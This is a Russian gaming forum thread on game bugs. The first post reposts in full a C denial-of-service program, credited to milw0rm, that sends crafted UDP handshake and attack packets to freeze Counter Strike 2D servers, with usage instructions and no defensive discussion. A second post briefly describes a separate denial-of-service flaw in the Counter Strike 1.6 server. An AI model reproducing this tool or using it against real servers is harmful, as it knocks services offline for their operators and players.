+ Ответить в теме
Показано с 1 по 2 из 2

Тема: Баги в играх

  1. #1
    Banned Vanda Включаюсь Vanda Включаюсь Vanda Включаюсь Vanda Включаюсь Аватар для Vanda
    Регистрация
    03.07.2005
    Адрес
    страна мухомория
    Сообщений
    743
    Поблагодарил(а)
    16
    Получено благодарностей: 51 (сообщений: 34).

    По умолчанию Баги в играх

    Counter Strike 2D DoS
    Affected versions: 0.1.0.1 and prior
    #include <winsock.h>
    #include <stdio.h>
    #include <conio.h>
    int sd;
    int port = 36963;
    WSADATA wsadata;
    struct sockaddr_in p;

    const static unsigned char MakeCon[]= "\xFA\xFA\x0D\x0A"
    "\x68\x61\x72\x72\x79" //Player Name = Harry (in Hex)
    "\xCE\x7B\xE2\x45\x63\x90\x00\x00";
    const static unsigned char DoSPack[]= "\xFA\x04"
    "\x68\x61\x72\x72\x79" //Player Name again
    "\x0D\x0A\x02" ;

    //----------------------------------------------------------------------
    u_int resolveaddr(char *host )
    {
    u_int ip;
    struct hostent *hIP ;

    ip = inet_addr(host);
    hIP = gethostbyname(host);
    if(!hIP) {
    printf("Cant solve hostip => quitting...\n");
    return(0);
    }
    else ip = *(u_int *)hIP->h_addr;
    return(ip);
    }



    bool HandShake(int sd)
    {
    sendto(sd, MakeCon, 22, 0,(struct sockaddr *)&p, sizeof(p));
    return true;
    }

    bool DoSAttack(int sd)
    {
    sendto(sd, DoSPack, 10, 0, (struct sockaddr *)&p, sizeof(p));
    return true;
    }
    //----------------------------------------------------------------------



    int main(int argc, char *argv[])
    {
    printf ("Counter Strike 2D DoS\n");
    printf ("Affected versions: 0.1.0.1 and prior\n");
    printf ("by Iman Karim (iman.karim@smail.inf.fh-bonn-rhein-sieg.de)\n");
    printf ("http://home.inf.fh-rhein-sieg.de/~ikarim2s/\n-----------\n");
    if (argc <= 1)
    {
    printf ("\n-Quick Guide-\n\n");
    printf ("%s <SRV_IP> [SRV_PORT] [PACKET_COUNT]\n",argv[0]);
    printf ("Default Port is 36963\n");
    printf ("Default Packet Count is 5000\n");
    printf ("\n- -\n\nPress a key...");
    getch();
    printf ("\n");
    return(0);
    }

    WSAStartup(MAKEWORD (1,0), &wsadata);
    sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);

    if(sd < 0)
    {
    printf ("Cant create socket => quitting...\n");
    return(0);
    }

    if(argc > 2) port = atoi(argv[2]);

    p.sin_addr.s_addr = resolveaddr(argv[1]);
    p.sin_port = htons(port);
    p.sin_family = AF_INET;

    printf ("Attacking %s:%i...\n",argv[1],port);
    printf ("+Attack started...\n");

    printf ("++Sending Handshake...\n");
    HandShake(sd);
    unsigned char rbuf[1024];
    ZeroMemory(rbuf, 1024);
    int cnt=0;

    int pcount = 5000;
    if(argc > 2) pcount = atoi(argv[3]);
    printf("\n\n[!!!] IF THE SERVER DON'T RESPONSE PRESS CTRL+C [!!!]\n\n");
    for(int i=0;i<=pcount;i++){
    printf("+++Sending packet nr.%i...\n",i);
    int len=recvfrom(sd, rbuf, sizeof(rbuf), 0, NULL, NULL);
    if (len > 0)
    {
    printf("+++(%i)Server Responsed\n",i);
    printf("+++(%i)Sending DoS Packet\n",i);
    DoSAttack(sd);
    }

    }

    printf("++Attack Done!\n");
    printf("+Server should be frozen...\n");
    printf("Done => quitting.\npress any key...\n");

    getch();
    return 0;

    }

    // milw0rm.com [2005-12-11]

  2. #2
    Джедай nons Трогаюсь nons Трогаюсь nons Трогаюсь nons Трогаюсь nons Трогаюсь nons Трогаюсь nons Трогаюсь nons Трогаюсь nons Трогаюсь nons Трогаюсь nons Трогаюсь
    Регистрация
    22.01.2005
    Сообщений
    3,753
    Поблагодарил(а)
    419
    Получено благодарностей: 1,257 (сообщений: 528).

    По умолчанию

    Обнаружена уязвимость в сервере игры Half Life: Counter Strike 1.6 для Windows и Linux платформ. Уязвимость возникает при обработке неполного запроса полученного сервером от клиента, в результате чего происходит зацикливание, приводящее к "отказу от обслуживания".
    Телевизор — это просто маленькое прозрачное окошко в трубе духовного мусоропровода. © В. Пелевин.

+ Ответить в теме

Информация о теме

Пользователи, просматривающие эту тему

Эту тему просматривают: 1 (пользователей: 0 , гостей: 1)

     

Похожие темы

  1. Футбол
    от RuEu в разделе ФУТБОЛ
    Ответов: 1864
    Последнее сообщение: 19.12.2020, 13:41
  2. S.T.A.L.K.E.R.
    от *vitamin* в разделе РАЗНЫЕ ИГРЫ
    Ответов: 736
    Последнее сообщение: 06.01.2009, 09:46
  3. Ищу поклонников жанра ACTION
    от MAFIA в разделе Хобби и увлечения.
    Ответов: 27
    Последнее сообщение: 17.12.2007, 15:39
  4. "Пасхальные Яйца" в играх
    от GlikoliZzz в разделе РАЗНЫЕ ИГРЫ
    Ответов: 23
    Последнее сообщение: 25.07.2007, 13:08

Ваши права

  • Вы не можете создавать новые темы
  • Вы не можете отвечать в темах
  • Вы не можете прикреплять вложения
  • Вы не можете редактировать свои сообщения
Рейтинг@Mail.ru
Администрация сайта не выражает согласия
с высказыванием участников форума и не несет
ответственности за их содержание.

Копирование любого материала возможно только
при наличии ссылки на сайт.